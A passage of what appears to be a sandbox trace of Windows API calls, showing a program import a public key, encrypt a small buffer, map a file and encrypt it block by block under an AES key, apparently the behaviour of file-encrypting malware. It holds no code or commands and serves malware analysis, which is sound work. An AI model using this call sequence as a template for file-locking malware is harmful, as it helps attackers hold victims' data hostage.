0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16689b0) returned 1 [0118.104] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0118.104] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.104] CryptDestroyKey (hKey=0x1639868) returned 1 [0118.104] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0118.104] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x90e, lpName=0x0) returned 0x288 [0118.104] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x90e) returned 0x1480000 [0118.104] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f00) returned 1 [0118.105] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0118.105] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.105] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.106] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.107] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.108] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 